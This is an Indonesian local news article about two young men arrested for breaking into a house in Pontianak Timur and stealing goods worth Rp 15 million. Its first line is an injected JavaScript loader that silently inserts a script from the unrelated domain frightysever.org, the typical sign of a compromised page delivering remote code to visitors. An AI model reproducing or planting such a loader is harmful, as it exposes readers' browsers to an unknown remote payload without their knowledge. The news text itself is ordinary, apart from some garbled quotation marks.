(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PONTIANAK – Pencurian rumah dengan membobol pintu belakang terulang lagi, Polsek Pontianak Timur mengamankan dua orang pria. Pelaku pencurian masing-masing berinisial CR (20) dan IB (19), Sabtu (11/4/2020). Reskrim Polsek Pontianak Timur beserta anggota telah tangkap dua pria atas kasus pencurian rumah dengan kerugian mencapai Rp 15 juta.
Kanit Reskrim Polsek Pontianak Timur, Iptu Asep Tedi mengatakan, pihaknya berhasil mengamankan dua pria yang diduga melakukan tindak pidana pencurian di Jalan Abdul Muis No 35 RT.003/RW.007 Kelurahan Tanjung Hulu, Kecamatan Pontianak Timur, Kalbar. Dua pria tersebut bernisial CR (20) dan inisial IB (19), keduanya merupakan warga Pontianak Timur.
Bermula korbam SZ melaporkan bahwatengah berada di Pos Pemadam Kebakaran di Jalan Tekam, Pontianak Timur, Kalbar. SZ mendapatkan informasi bahwa rumahnya telah dibobol dua pria. Mendapatkan informasi tersebut SZ langsung memastikan informasi tersebut. Setibanya di rumah korban, SZ memastikan kejadian tersebut memang benar adanya, karena terlihat bahwa kondisi rumah sedang berantakan.
“Pintu belakang sudah dalam keadaan terbuka, setelah dicek barang yang hilang berupa perabotan rumah tangga, pakaian, kabel listrik, alat tukang (perkakas), mesin air merk nasional, dan TV tabung ukuran 21 sudah lenyap,†katanya.
Atas kejadian tersebut korban mengalami kerugian sebesar Rp 15 juta. Dari hasil olah TKP pelaku pencurian yang ada di rumah korban tersebut dilakukan oleh dua orang pria yang tinggalnya tidak berjauhan dari rumah korban. Setelah mendapatkan petunjuk, anggota langsung melakukan pencarian terhadap 2 pelaku tersebut. Kapolsek Pontianak Timur Kompol Sunaryo melalui Kasi Humas Iptu Iskak Pujiyanto membenarkan adanya penangkapan kedua pria tersebut. “Sekarang kita masih lakukan pendalaman atas kejadian tersebut,” katanya.
“Dari untuk tindak pencurian tersebut, kedua pelaku kita kenakan pasal 363 ayat 1 ke 4 dan 5 KUHP,†sebutnya. (kanalkalimantan.com/polsek pontianak timur)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.